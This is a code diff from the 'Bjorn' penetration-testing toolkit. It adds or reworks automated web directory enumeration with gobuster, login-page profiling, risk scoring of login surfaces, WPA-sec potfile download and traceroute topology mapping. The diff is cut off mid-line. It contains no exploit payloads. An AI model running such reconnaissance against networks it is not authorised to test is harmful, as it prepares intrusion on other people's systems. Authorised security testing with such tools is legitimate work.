self.shared_data = shared_data self.gobuster_path = "/usr/bin/gobuster" # verify with `which gobuster` self.wordlist = self.shared_data.common_wordlist self.lock = threading.Lock() + + # Cache pour la taille de la wordlist (pour le calcul du %) + self.wordlist_size = 0 + self._count_wordlist_lines() # ---- Sanity checks - import os + self._available = True if not os.path.exists(self.gobuster_path): - raise FileNotFoundError(f"Gobuster not found at {self.gobuster_path}") + logger.error(f"Gobuster not found at {self.gobuster_path}") + self._available = False if not os.path.exists(self.wordlist): - raise FileNotFoundError(f"Wordlist not found: {self.wordlist}") + logger.error(f"Wordlist not found: {self.wordlist}") + self._available = False # Politique venant de l’UI : créer si absente if not hasattr(self.shared_data, "web_status_codes") or not self.shared_data.web_status_codes: self.shared_data.web_status_codes = DEFAULT_WEB_STATUS_CODES.copy() logger.info( - f"WebEnumeration initialized (stdout mode, no files). " - f"Using status policy: {self.shared_data.web_status_codes}" + f"WebEnumeration initialized (Streaming Mode). " + f"Wordlist lines: {self.wordlist_size}. " + f"Policy: {self.shared_data.web_status_codes}" ) + def _count_wordlist_lines(self): + """Compte les lignes de la wordlist une seule fois pour calculer le %.""" + if self.wordlist and os.path.exists(self.wordlist): + try: + # Lecture rapide bufferisée + with open(self.wordlist, 'rb') as f: + self.wordlist_size = sum(1 for _ in f) + except Exception as e: + logger.error(f"Error counting wordlist lines: {e}") + self.wordlist_size = 0 + # -------------------- Utilities -------------------- def _scheme_for_port(self, port: int) -> str: https_ports = {443, 8443, 9443, 10443, 9444, 5000, 5001, 7080, 9080} @@ -184,155 +203,195 @@ class WebEnumeration: except Exception as e: logger.error(f"DB insert error for {ip}:{port}{directory}: {e}") - # -------------------- Gobuster runner (stdout) -------------------- - def _run_gobuster_stdout(self, url: str) -> Optional[str]: - base_cmd = [ - self.gobuster_path, "dir", - "-u", url, - "-w", self.wordlist, - "-t", "10", - "--quiet", - "--no-color", - # Si supporté par ta version gobuster, tu peux réduire le bruit dès la source : - # "-b", "404,429", - ] - - def run(cmd): - return subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) - - # Try with -z first - cmd = base_cmd + ["-z"] - logger.info(f"Running Gobuster on {url}...") - try: - res = run(cmd) - if res.returncode == 0: - logger.success(f"Gobuster OK on {url}") - return res.stdout or "" - # Fallback if -z is unknown - if "unknown flag" in (res.stderr or "").lower() or "invalid" in (res.stderr or "").lower(): - logger.info("Gobuster doesn't support -z, retrying without it.") - res2 = run(base_cmd) - if res2.returncode == 0: - logger.success(f"Gobuster OK on {url} (no -z)") - return res2.stdout or "" - logger.info(f"Gobuster failed on {url}: {res2.stderr.strip()}") - return None - logger.info(f"Gobuster failed on {url}: {res.stderr.strip()}") - return None - except Exception as e: - logger.error(f"Gobuster exception on {url}: {e}") - return None - - def _parse_gobuster_text(self, text: str) -> List[Dict]: - """ - Parse gobuster stdout lines into entries: - { 'path': '/admin', 'status': 301, 'size': 310, 'redirect': 'http://...'|None } - """ - entries: List[Dict] = [] - if not text: - return entries - - for raw in text.splitlines(): - # 1) strip ANSI/control BEFORE regex - line = ANSI_RE.sub("", raw) - line = CTL_RE.sub("", line) - line = line.strip() - if not line: - continue - - m = GOBUSTER_LINE.match(line) - if not m: - logger.debug(f"Unparsed line: {line}") - continue - - # 2) extract all fields NOW - path = m.group("path") or "" - status = int(m.group("status")) - size = int(m.group("size") or 0) - redir = m.group("redir") - - # 3) normalize path - if not path.startswith("/"): - path = "/" + path - path = "/" + path.strip("/") - - entries.append({ - "path": path, - "status": status, - "size": size, - "redirect": redir.strip() if redir else None - }) - - logger.info(f"Parsed {len(entries)} entries from gobuster stdout") - return entries - - # -------------------- Public API -------------------- + # -------------------- Public API (Streaming Version) -------------------- def execute(self, ip: str, port: int, row: Dict, status_key: str) -> str: """ - Run gobuster on (ip,port), parse stdout, upsert each finding into DB. + Run gobuster on (ip,port), STREAM stdout/stderr, upsert findings real-time. + Updates bjorn_progress with 0-100% completion. Returns: 'success' | 'failed' | 'interrupted' """ + if not self._available: + return 'failed' + try: if self.shared_data.orchestrator_should_exit: - logger.info("Interrupted before start (orchestrator flag).") return "interrupted" scheme = self._scheme_for_port(port) base_url = f"{scheme}://{ip}:{port}" - logger.info(f"Enumerating {base_url} ...") - self.shared_data.bjornorch_status = "WebEnumeration" - - if self.shared_data.orchestrator_should_exit: - logger.info("Interrupted before gobuster run.") - return "interrupted" - - stdout_text = self._run_gobuster_stdout(base_url) - if stdout_text is None: - return "failed" - - if self.shared_data.orchestrator_should_exit: - logger.info("Interrupted after gobuster run (stdout captured).") - return "interrupted" - - entries = self._parse_gobuster_text(stdout_text) - if not entries: - logger.warning(f"No entries for {base_url}.") - return "success" # scan ran fine but no findings - - # ---- Filtrage dynamique basé sur shared_data.web_status_codes - allowed = self._allowed_status_set() - pre = len(entries) - entries = [e for e in entries if e["status"] in allowed] - post = len(entries) - if post < pre: - preview = sorted(list(allowed))[:10] - logger.info( - f"Filtered out {pre - post} entries not in policy " - f"{preview}{'...' if len(allowed) > 10 else ''}." - ) + + # Setup Initial UI + self.shared_data.comment_params = {"ip": ip, "port": str(port), "url": base_url} + self.shared_data.bjorn_orch_status = "WebEnumeration" + self.shared_data.bjorn_progress = "0%" + + logger.info(f"Enumerating {base_url} (Stream Mode)...") + # Prepare Identity & Policy mac_address, hostname = self._extract_identity(row) if not hostname: hostname = self._reverse_dns(ip) + allowed = self._allowed_status_set() - for e in entries: - self._db_add_result( - mac_address=mac_address, - ip=ip, - hostname=hostname, - port=port, - directory=e["path"], - status=e["status"], - size=e.get("size", 0), - response_time=0, # gobuster doesn't expose timing here - content_type=None, # unknown here; a later HEAD/GET probe can fill it - tool="gobuster" + # Command Construction + # NOTE: Removed "--quiet" and "-z" to ensure we get Progress info on stderr + # But we use --no-color to make parsing easier + cmd = [ + self.gobuster_path, "dir", + "-u", base_url, + "-w", self.wordlist, + "-t", "10", # Safe for RPi Zero + "--no-color", + "--no-progress=false", # Force progress bar even if redirected + ] + + process = None + findings_count = 0 + stop_requested = False + + # For progress calc + total_lines = self.wordlist_size if self.wordlist_size > 0 else 1 + last_progress_update = 0 + + try: + # Merge stdout and stderr so we can read everything in one loop + process = subprocess.Popen( + cmd, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + text=True, + bufsize=1, + universal_newlines=True ) - return "success" + # Use select() (on Linux) so we can react quickly to stop requests + # without blocking forever on readline(). + while True: + if self.shared_data.orchestrator_should_exit: + stop_requested = True + break + + if process.poll() is not None: + # Process exited; drain remaining buffered output if any + line = process.stdout.readline() if process.stdout else "" + if not line: + break + else: + line = "" + if process.stdout: + if os.name != "nt": + r, _, _ = select.select([process.stdout], [], [], 0.2) + if r: + line = process.stdout.readline() + else: + # Windows: select() doesn't work on pipes; best-effort read. + line = process.stdout.readline() + + if not line: + continue + + # 3. Clean Line + clean_line = ANSI_RE.sub("", line).strip() + clean_line = CTL_RE.sub("", clean_line).strip() + if not clean_line: + continue + + # 4. Check for Progress + if "Progress:" in clean_line: + now = time.time() + # Update UI max every 0.5s to save CPU + if now - last_progress_update > 0.5: + m_prog = GOBUSTER_PROGRESS_RE.search(clean_line) + if m_prog: + curr = int(m_prog.group("current")) + # Calculate % + pct = (curr / total_lines) * 100 + pct = min(pct, 100.0) + self.shared_data.bjorn_progress = f"{int(pct)}%" + last_progress_update = now + continue + + # 5. Check for Findings (Standard Gobuster Line) + m_res = GOBUSTER_LINE.match(clean_line) + if m_res: + st = int(m_res.group("status")) + + # Apply Filtering Logic BEFORE DB + if st in allowed: + path = m_res.group("path") + if not path.startswith("/"): path = "/" + path + size = int(m_res.group("size") or 0) + redir = m_res.group("redir") + + # Insert into DB Immediately + self._db_add_result( + mac_address=mac_address, + ip=ip, + hostname=hostname, + port=port, + directory=path, + status=st, + size=size, + response_time=0, + content_type=None, + tool="gobuster" + ) + + findings_count += 1 + # Live feedback in comments + self.shared_data.comment_params = { + "url": base_url, + "found": str(findings_count), + "last": path + } + continue + + # (Optional) Log errors/unknown lines if needed + # if "error" in clean_line.lower(): logger.debug(f"Gobuster err: {clean_line}") + + # End of loop + if stop_requested: + logger.info("Interrupted by orchestrator.") + return "interrupted" + self.shared_data.bjorn_progress = "100%" + return "success" + + except Exception as e: + logger.error(f"Execute error on {base_url}: {e}") + if process: + try: + process.terminate() + except Exception: + pass + return "failed" + finally: + if process: + try: + if stop_requested and process.poll() is None: + process.terminate() + # Always reap the child to avoid zombies. + try: + process.wait(timeout=2) + except Exception: + try: + process.kill() + except Exception: + pass + try: + process.wait(timeout=2) + except Exception: + pass + finally: + try: + if process.stdout: + process.stdout.close() + except Exception: + pass + self.shared_data.bjorn_progress = "" + self.shared_data.comment_params = {} except Exception as e: - logger.error(f"Execute error on {ip}:{port}: {e}") + logger.error(f"General execution error: {e}") return "failed" @@ -341,7 +400,7 @@ if __name__ == "__main__": shared_data = SharedData() try: web_enum = WebEnumeration(shared_data) - logger.info("Starting web directory enumeration...") + logger.info("Starting web directory enumeration (CLI)...") rows = shared_data.read_data() for row in rows: @@ -351,6 +410,7 @@ if __name__ == "__main__": port = row.get("port") or 80 logger.info(f"Execute WebEnumeration on {ip}:{port} ...") status = web_enum.execute(ip, int(port), row, "enum_web_directories") + if status == "success": logger.success(f"Enumeration successful for {ip}:{port}.") elif status == "interrupted": diff --git a/actions/web_login_profiler.py b/actions/web_login_profiler.py new file mode 100644 index 0000000..e4715c6 --- /dev/null +++ b/actions/web_login_profiler.py @@ -0,0 +1,316 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +web_login_profiler.py — Lightweight web login profiler (Pi Zero friendly). + +Goal: +- Profile web endpoints to detect login surfaces and defensive controls (no password guessing). +- Store findings into DB table `webenum` (tool='login_profiler') for community visibility. +- Update EPD UI fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress. +""" + +import json +import logging +import re +import ssl +import time +from http.client import HTTPConnection, HTTPSConnection, RemoteDisconnected +from typing import Dict, Optional, Tuple + +from logger import Logger +from actions.bruteforce_common import ProgressTracker + +logger = Logger(name="web_login_profiler.py", level=logging.DEBUG) + +# -------------------- Action metadata (AST-friendly) -------------------- +b_class = "WebLoginProfiler" +b_module = "web_login_profiler" +b_status = "WebLoginProfiler" +b_port = 80 +b_parent = None +b_service = '["http","https"]' +b_trigger = "on_web_service" +b_priority = 55 +b_action = "normal" +b_cooldown = 1800 +b_rate_limit = "6/86400" +b_enabled = 1 + +# Small curated list, cheap but high signal. +DEFAULT_PATHS = [ + "/", + "/login", + "/signin", + "/auth", + "/admin", + "/administrator", + "/wp-login.php", + "/user/login", + "/robots.txt", +] + +ANSI_RE = re.compile(r"\x1B\[[0-?]*[ -/]*[@-~]") + + +def _scheme_for_port(port: int) -> str: + https_ports = {443, 8443, 9443, 10443, 9444, 5000, 5001, 7080, 9080} + return "https" if int(port) in https_ports else "http" + + +def _first_hostname_from_row(row: Dict) -> str: + try: + hn = (row.get("Hostname") or row.get("hostname") or row.get("hostnames") or "").strip() + if ";" in hn: + hn = hn.split(";", 1)[0].strip() + return hn + except Exception: + return "" + + +def _detect_signals(status: int, headers: Dict[str, str], body_snippet: str) -> Dict[str, object]: + h = {str(k).lower(): str(v) for k, v in (headers or {}).items()} + www = h.get("www-authenticate", "") + set_cookie = h.get("set-cookie", "") + + auth_type = None + if status == 401 and "basic" in www.lower(): + auth_type = "basic" + elif status == 401 and "digest" in www.lower(): + auth_type = "digest" + + # Very cheap login form heuristics + snippet = (body_snippet or "").lower() + has_form = " Tuple[int, Dict[str, str], str, int, int]: + started = time.time() + body_snip = "" + headers_out: Dict[str, str] = {} + status = 0 + size = 0 + + conn = None + try: + if scheme == "https": + conn = HTTPSConnection(ip, port=port, timeout=timeout_s, context=self._ssl_ctx) + else: + conn = HTTPConnection(ip, port=port, timeout=timeout_s) + + conn.request("GET", path, headers={"User-Agent": user_agent, "Accept": "*/*"}) + resp = conn.getresponse() + status = int(resp.status or 0) + for k, v in resp.getheaders(): + if k and v: + headers_out[str(k)] = str(v) + + # Read only a small chunk (Pi-friendly) for fingerprinting. + chunk = resp.read(65536) # 64KB + size = len(chunk or b"") + try: + body_snip = (chunk or b"").decode("utf-8", errors="ignore") + except Exception: + body_snip = "" + except (ConnectionError, TimeoutError, RemoteDisconnected): + status = 0 + except Exception: + status = 0 + finally: + try: + if conn: + conn.close() + except Exception: + pass + + elapsed_ms = int((time.time() - started) * 1000) + return status, headers_out, body_snip, size, elapsed_ms + + def execute(self, ip, port, row, status_key) -> str: + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + try: + port_i = int(port) if str(port).strip() else int(getattr(self, "port", 80) or 80) + except Exception: + port_i = 80 + + scheme = _scheme_for_port(port_i) + hostname = _first_hostname_from_row(row) + mac = (row.get("MAC Address") or row.get("mac_address") or row.get("mac") or "").strip() + + timeout_s = float(getattr(self.shared_data, "web_probe_timeout_s", 4.0)) + user_agent = str(getattr(self.shared_data, "web_probe_user_agent", "BjornWebProfiler/1.0")) + paths = getattr(self.shared_data, "web_login_profiler_paths", None) or DEFAULT_PATHS + if not isinstance(paths, list): + paths = DEFAULT_PATHS + + self.shared_data.bjorn_orch_status = "WebLoginProfiler" + self.shared_data.bjorn_status_text2 = f"{ip}:{port_i}" + self.shared_data.comment_params = {"ip": ip, "port": str(port_i)} + + progress = ProgressTracker(self.shared_data, len(paths)) + found_login = 0 + + try: + for p in paths: + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + path = str(p or "/").strip() + if not path.startswith("/"): + path = "/" + path + + status, headers, body, size, elapsed_ms = self._fetch( + ip=ip, + port=port_i, + scheme=scheme, + path=path, + timeout_s=timeout_s, + user_agent=user_agent, + ) + + ctype = headers.get("Content-Type") or headers.get("content-type") or "" + signals = _detect_signals(status, headers, body) + if signals.get("looks_like_login") or signals.get("auth_type"): + found_login += 1 + + headers_payload = { + "signals": signals, + "sample": { + "status": status, + "content_type": ctype, + }, + } + + try: + headers_json = json.dumps(headers_payload, ensure_ascii=True) + except Exception: + headers_json = "" + + try: + self._db_upsert( + mac=mac, + ip=ip, + hostname=hostname, + port=port_i, + path=path, + status=status or 0, + size=size, + response_ms=elapsed_ms, + content_type=ctype, + method="GET", + user_agent=user_agent, + headers_json=headers_json, + ) + except Exception as e: + logger.error(f"DB write failed for {ip}:{port_i}{path}: {e}") + + self.shared_data.comment_params = { + "ip": ip, + "port": str(port_i), + "path": path, + "login": str(int(bool(signals.get("looks_like_login") or signals.get("auth_type")))), + } + + progress.advance(1) + + progress.set_complete() + # "success" means: profiler ran; not that a login exists. + logger.info(f"WebLoginProfiler done for {ip}:{port_i} (login_surfaces={found_login})") + return "success" + finally: + self.shared_data.bjorn_progress = "" + self.shared_data.comment_params = {} + self.shared_data.bjorn_status_text2 = "" + diff --git a/actions/web_surface_mapper.py b/actions/web_surface_mapper.py new file mode 100644 index 0000000..1d6e4ab --- /dev/null +++ b/actions/web_surface_mapper.py @@ -0,0 +1,233 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +web_surface_mapper.py — Post-profiler web surface scoring (no exploitation). + +Trigger idea: run after WebLoginProfiler to compute a summary and a "risk score" +from recent webenum rows written by tool='login_profiler'. + +Writes one summary row into `webenum` (tool='surface_mapper') so it appears in UI. +Updates EPD UI fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress. +""" + +import json +import logging +import time +from typing import Any, Dict, List, Optional, Tuple + +from logger import Logger +from actions.bruteforce_common import ProgressTracker + +logger = Logger(name="web_surface_mapper.py", level=logging.DEBUG) + +# -------------------- Action metadata (AST-friendly) -------------------- +b_class = "WebSurfaceMapper" +b_module = "web_surface_mapper" +b_status = "WebSurfaceMapper" +b_port = 80 +b_parent = None +b_service = '["http","https"]' +b_trigger = "on_success:WebLoginProfiler" +b_priority = 45 +b_action = "normal" +b_cooldown = 600 +b_rate_limit = "48/86400" +b_enabled = 1 + + +def _scheme_for_port(port: int) -> str: + https_ports = {443, 8443, 9443, 10443, 9444, 5000, 5001, 7080, 9080} + return "https" if int(port) in https_ports else "http" + + +def _safe_json_loads(s: str) -> dict: + try: + return json.loads(s) if s else {} + except Exception: + return {} + + +def _score_signals(signals: dict) -> int: + """ + Heuristic risk score 0..100. + This is not an "attack recommendation"; it's a prioritization for recon. + """ + if not isinstance(signals, dict): + return 0 + score = 0 + + auth = str(signals.get("auth_type") or "").lower() + if auth in {"basic", "digest"}: + score += 45 + + if bool(signals.get("looks_like_login")): + score += 35 + + if bool(signals.get("has_csrf")): + score += 10 + + if bool(signals.get("rate_limited_hint")): + # Defensive signal: reduces priority for noisy follow-ups. + score -= 25 + + hints = signals.get("framework_hints") or [] + if isinstance(hints, list) and hints: + score += min(10, 3 * len(hints)) + + return max(0, min(100, int(score))) + + +class WebSurfaceMapper: + def __init__(self, shared_data): + self.shared_data = shared_data + + def _db_upsert_summary( + self, + *, + mac: str, + ip: str, + hostname: str, + port: int, + scheme: str, + summary: dict, + ): + directory = "/__surface_summary__" + payload = json.dumps(summary, ensure_ascii=True) + self.shared_data.db.execute( + """ + INSERT INTO webenum ( + mac_address, ip, hostname, port, directory, status, + size, response_time, content_type, tool, method, + user_agent, headers, is_active + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, 'surface_mapper', 'SUMMARY', '', ?, 1) + ON CONFLICT(mac_address, ip, port, directory) DO UPDATE SET + status = excluded.status, + size = excluded.size, + response_time = excluded.response_time, + content_type = excluded.content_type, + hostname = COALESCE(excluded.hostname, webenum.hostname), + headers = COALESCE(excluded.headers, webenum.headers), + last_seen = CURRENT_TIMESTAMP, + is_active = 1 + """, + ( + mac or "", + ip or "", + hostname or "", + int(port), + directory, + 200, + len(payload), + 0, + "application/json", + payload, + ), + ) + + def execute(self, ip, port, row, status_key) -> str: + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + mac = (row.get("MAC Address") or row.get("mac_address") or row.get("mac") or "").strip() + hostname = (row.get("Hostname") or row.get("hostname") or "").strip() + if ";" in hostname: + hostname = hostname.split(";", 1)[0].strip() + + try: + port_i = int(port) if str(port).strip() else 80 + except Exception: + port_i = 80 + + scheme = _scheme_for_port(port_i) + + self.shared_data.bjorn_orch_status = "WebSurfaceMapper" + self.shared_data.bjorn_status_text2 = f"{ip}:{port_i}" + self.shared_data.comment_params = {"ip": ip, "port": str(port_i), "phase": "score"} + + # Load recent profiler rows for this target. + rows: List[Dict[str, Any]] = [] + try: + rows = self.shared_data.db.query( + """ + SELECT directory, status, content_type, headers, response_time, last_seen + FROM webenum + WHERE mac_address=? AND ip=? AND port=? AND is_active=1 AND tool='login_profiler' + ORDER BY last_seen DESC + """, + (mac or "", ip, int(port_i)), + ) + except Exception as e: + logger.error(f"DB query failed (webenum login_profiler): {e}") + rows = [] + + progress = ProgressTracker(self.shared_data, max(1, len(rows))) + scored: List[Tuple[int, str, int, str, dict]] = [] + + try: + for r in rows: + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + directory = str(r.get("directory") or "/") + status = int(r.get("status") or 0) + ctype = str(r.get("content_type") or "") + h = _safe_json_loads(str(r.get("headers") or "")) + signals = h.get("signals") if isinstance(h, dict) else {} + score = _score_signals(signals if isinstance(signals, dict) else {}) + scored.append((score, directory, status, ctype, signals if isinstance(signals, dict) else {})) + + self.shared_data.comment_params = { + "ip": ip, + "port": str(port_i), + "path": directory, + "score": str(score), + } + progress.advance(1) + + scored.sort(key=lambda t: (t[0], t[2]), reverse=True) + top = scored[:5] + avg = int(sum(s for s, *_ in scored) / max(1, len(scored))) if scored else 0 + top_path = top[0][1] if top else "" + top_score = top[0][0] if top else 0 + + summary = { + "ip": ip, + "port": int(port_i), + "scheme": scheme, + "count_profiled": int(len(rows)), + "avg_score": int(avg), + "top": [ + {"score": int(s), "path": p, "status": int(st), "content_type": ct, "signals": sig} + for (s, p, st, ct, sig) in top + ], + "ts_epoch": int(time.time()), + } + + try: + self._db_upsert_summary( + mac=mac, + ip=ip, + hostname=hostname, + port=port_i, + scheme=scheme, + summary=summary, + ) + except Exception as e: + logger.error(f"DB upsert summary failed: {e}") + + self.shared_data.comment_params = { + "ip": ip, + "port": str(port_i), + "count": str(len(rows)), + "top_path": top_path, + "top_score": str(top_score), + "avg_score": str(avg), + } + + progress.set_complete() + return "success" + finally: + self.shared_data.bjorn_progress = "" + self.shared_data.comment_params = {} + self.shared_data.bjorn_status_text2 = "" + diff --git a/actions/wpasec_potfiles.py b/actions/wpasec_potfiles.py index 19b19b0..c248dc6 100644 --- a/actions/wpasec_potfiles.py +++ b/actions/wpasec_potfiles.py @@ -8,6 +8,7 @@ import argparse import requests import subprocess from datetime import datetime + import logging # ── METADATA / UI FOR NEO LAUNCHER ──────────────────────────────────────────── @@ -172,8 +173,9 @@ class WPAsecPotfileManager: response = requests.get(self.DOWNLOAD_URL, cookies=cookies, stream=True) response.raise_for_status() - timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") - filename = os.path.join(save_dir, f"potfile_{timestamp}.pot") + ts = datetime.now().strftime("%Y%m%d_%H%M%S") + + filename = os.path.join(save_dir, f"potfile_{ts}.pot") os.makedirs(save_dir, exist_ok=True) with open(filename, "wb") as file: diff --git a/actions/yggdrasil_mapper.py b/actions/yggdrasil_mapper.py index 9dde5f8..163e922 100644 --- a/actions/yggdrasil_mapper.py +++ b/actions/yggdrasil_mapper.py @@ -1,335 +1,847 @@ -# Network topology mapping tool for discovering and visualizing network segments. -# Saves settings in `/home/bjorn/.settings_bjorn/yggdrasil_mapper_settings.json`. -# Automatically loads saved settings if arguments are not provided. -# -r, --range Network range to scan (CIDR format). -# -i, --interface Network interface to use (default: active interface). -# -d, --depth Maximum trace depth for routing (default: 5). -# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/topology). -# -t, --timeout Timeout for probes in seconds (default: 2). +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +yggdrasil_mapper.py -- Network topology mapper (Pi Zero friendly, orchestrator compatible). + +What it does: +- Phase 1: Traceroute via scapy ICMP (fallback: subprocess traceroute) to discover + the routing path to the target IP. Records hop IPs and RTT per hop. +- Phase 2: Service enrichment -- reads existing port data from DB hosts table and + optionally verifies a handful of key ports with TCP connect probes. +- Phase 3: Builds a topology graph data structure (nodes + edges + metadata). +- Phase 4: Aggregates with topology data from previous runs (merge / deduplicate). +- Phase 5: Saves the combined topology as JSON to data/output/topology/. + +No matplotlib or networkx dependency -- pure JSON output. +Updates EPD fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress. +""" -import os import json -import argparse -from datetime import datetime import logging -import subprocess -import networkx as nx -import matplotlib.pyplot as plt -import nmap -import scapy.all as scapy -from scapy.layers.inet import IP, ICMP, TCP -import threading -import queue +import os +import socket +import time +from datetime import datetime +from typing import Any, Dict, List, Optional, Tuple +from logger import Logger +from actions.bruteforce_common import ProgressTracker + +logger = Logger(name="yggdrasil_mapper.py", level=logging.DEBUG) + +# Silence scapy logging before import +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) +logging.getLogger("scapy.interactive").setLevel(logging.ERROR) +logging.getLogger("scapy.loading").setLevel(logging.ERROR) + +_SCAPY_AVAILABLE = False +try: + from scapy.all import IP, ICMP, sr1, conf as scapy_conf + scapy_conf.verb = 0 + _SCAPY_AVAILABLE = True +except ImportError: + logger.warning("scapy not available; falling back to subprocess traceroute") +except Exception as exc: + logger.warning(f"scapy import error ({exc}); falling back to subprocess traceroute") + +# -------------------- Action metadata (AST-friendly) -------------------- b_class = "YggdrasilMapper" b_module = "yggdrasil_mapper" -b_enabled = 0 +b_status = "yggdrasil_mapper" +b_port = None +b_service = '[]' +b_trigger = "on_host_alive" +b_parent = None +b_action = "normal" +b_requires = '{"action":"NetworkScanner","status":"success","scope":"global"}' +b_priority = 10 +b_cooldown = 3600 +b_rate_limit = "3/86400" +b_timeout = 300 +b_max_retries = 2 +b_stealth_level = 6 +b_risk_level = "low" +b_enabled = 1 +b_tags = ["topology", "network", "recon", "mapping"] +b_category = "recon" +b_name = "Yggdrasil Mapper" +b_description = ( + "Network topology mapper that discovers routing paths via traceroute, enriches " + "nodes with service data from the DB, and saves a merged JSON topology graph. " + "Lightweight -- no matplotlib or networkx required." +) +b_author = "Bjorn Team" +b_version = "2.0.0" +b_icon = "YggdrasilMapper.png" -# Configure logging -logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') +b_args = { + "max_depth": { + "type": "slider", + "label": "Max trace depth (hops)", + "min": 5, + "max": 30, + "step": 1, + "default": 15, + "help": "Maximum number of hops for traceroute probes.", + }, + "probe_timeout": { + "type": "slider", + "label": "Probe timeout (s)", + "min": 1, + "max": 5, + "step": 1, + "default": 2, + "help": "Timeout in seconds for each ICMP / TCP probe.", + }, +} -# Default settings -DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/output/topology" -DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn" -SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "yggdrasil_mapper_settings.json") +b_examples = [ + {"max_depth": 15, "probe_timeout": 2}, + {"max_depth": 10, "probe_timeout": 1}, + {"max_depth": 30, "probe_timeout": 3}, +] + +b_docs_url = "docs/actions/YggdrasilMapper.md" + +# -------------------- Constants -------------------- +_DATA_DIR = "/home/bjorn/Bjorn/data" +OUTPUT_DIR = os.path.join(_DATA_DIR, "output", "topology") + +# Ports to verify during service enrichment (small set to stay Pi Zero friendly). +_VERIFY_PORTS = [22, 80, 443, 445, 3389, 8080] + + +# -------------------- Helpers -------------------- + +def _generate_mermaid_topology(topology: Dict[str, Any]) -> str: + """Generate a Mermaid.js diagram string from topology data.""" + lines = ["graph TD"] + + # Define styles + lines.append(" classDef target fill:#f96,stroke:#333,stroke-width:2px;") + lines.append(" classDef router fill:#69f,stroke:#333,stroke-width:1px;") + lines.append(" classDef unknown fill:#ccc,stroke:#333,stroke-dasharray: 5 5;") + + nodes = topology.get("nodes", {}) + for node_id, node in nodes.items(): + label = node.get("hostname") or node.get("ip") + node_type = node.get("type", "unknown") + + # Sanitize label for Mermaid + safe_label = str(label).replace(" ", "_").replace(".", "_").replace("-", "_") + safe_id = node_id.replace(".", "_").replace("*", "unknown").replace("-", "_") + + lines.append(f' {safe_id}["{label}"]') + + if node_type == "target": + lines.append(f" class {safe_id} target") + elif node_type == "router": + lines.append(f" class {safe_id} router") + else: + lines.append(f" class {safe_id} unknown") + + edges = topology.get("edges", []) + for edge in edges: + src = str(edge.get("source", "")).replace(".", "_").replace("*", "unknown").replace("-", "_") + dst = str(edge.get("target", "")).replace(".", "_").replace("*", "unknown").replace("-", "_") + if src and dst: + rtt = edge.get("rtt_ms", 0) + if rtt > 0: + lines.append(f" {src} -- {rtt}ms --> {dst}") + else: + lines.append(f" {src} --> {dst}") + + return "\n".join(lines) + + +def _reverse_dns(ip: str) -> str: + """Best-effort reverse DNS lookup. Returns hostname or empty string.""" + try: + hostname, _, _ = socket.gethostbyaddr(ip) + return hostname or "" + except Exception: + return "" + + +def _tcp_probe(ip: str, port: int, timeout_s: float) -> Tuple[bool, int]: + """ + Quick TCP connect probe. Returns (is_open, rtt_ms). + """ + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout_s) + t0 = time.time() + try: + rc = s.connect_ex((ip, int(port))) + rtt_ms = int((time.time() - t0) * 1000) + return (rc == 0), rtt_ms + except Exception: + return False, 0 + finally: + try: + s.close() + except Exception: + pass + + +def _scapy_traceroute(target: str, max_depth: int, timeout_s: float) -> List[Dict[str, Any]]: + """ + ICMP traceroute using scapy. Returns list of hop dicts: + [{"hop": 1, "ip": "x.x.x.x", "rtt_ms": 12}, ...] + """ + hops: List[Dict[str, Any]] = [] + for ttl in range(1, max_depth + 1): + pkt = IP(dst=target, ttl=ttl) / ICMP() + t0 = time.time() + reply = sr1(pkt, timeout=timeout_s, verbose=0) + rtt_ms = int((time.time() - t0) * 1000) + + if reply is None: + hops.append({"hop": ttl, "ip": "*", "rtt_ms": 0}) + continue + + src = reply.src + hops.append({"hop": ttl, "ip": src, "rtt_ms": rtt_ms}) + + # Reached destination + if src == target: + break + + return hops + + +def _subprocess_traceroute(target: str, max_depth: int, timeout_s: float) -> List[Dict[str, Any]]: + """ + Fallback traceroute using the system `traceroute` command. + Works on Linux / macOS. On Windows falls back to `tracert`. + """ + import subprocess + import re + + hops: List[Dict[str, Any]] = [] + + # Decide command based on platform + if os.name == "nt": + cmd = ["tracert", "-d", "-h", str(max_depth), "-w", str(int(timeout_s * 1000)), target] + else: + cmd = ["traceroute", "-n", "-m", str(max_depth), "-w", str(int(timeout_s)), target] + + try: + proc = subprocess.run( + cmd, + capture_output=True, + text=True, + timeout=max_depth * timeout_s + 30, + ) + output = proc.stdout or "" + except FileNotFoundError: + logger.error("traceroute/tracert command not found on this system") + return hops + except subprocess.TimeoutExpired: + logger.warning(f"Subprocess traceroute to {target} timed out") + return hops + except Exception as exc: + logger.error(f"Subprocess traceroute error: {exc}") + return hops + + # Parse output lines + ip_pattern = re.compile(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})') + rtt_pattern = re.compile(r'(\d+(?:\.\d+)?)\s*ms') + hop_num = 0 + + for line in output.splitlines(): + stripped = line.strip() + if not stripped: + continue + + # Skip header lines + parts = stripped.split() + if not parts: + continue + + # Try to extract hop number from first token + try: + hop_candidate = int(parts[0]) + except (ValueError, IndexError): + continue + + hop_num = hop_candidate + ip_match = ip_pattern.search(stripped) + rtt_match = rtt_pattern.search(stripped) + + hop_ip = ip_match.group(1) if ip_match else "*" + hop_rtt = int(float(rtt_match.group(1))) if rtt_match else 0 + + hops.append({"hop": hop_num, "ip": hop_ip, 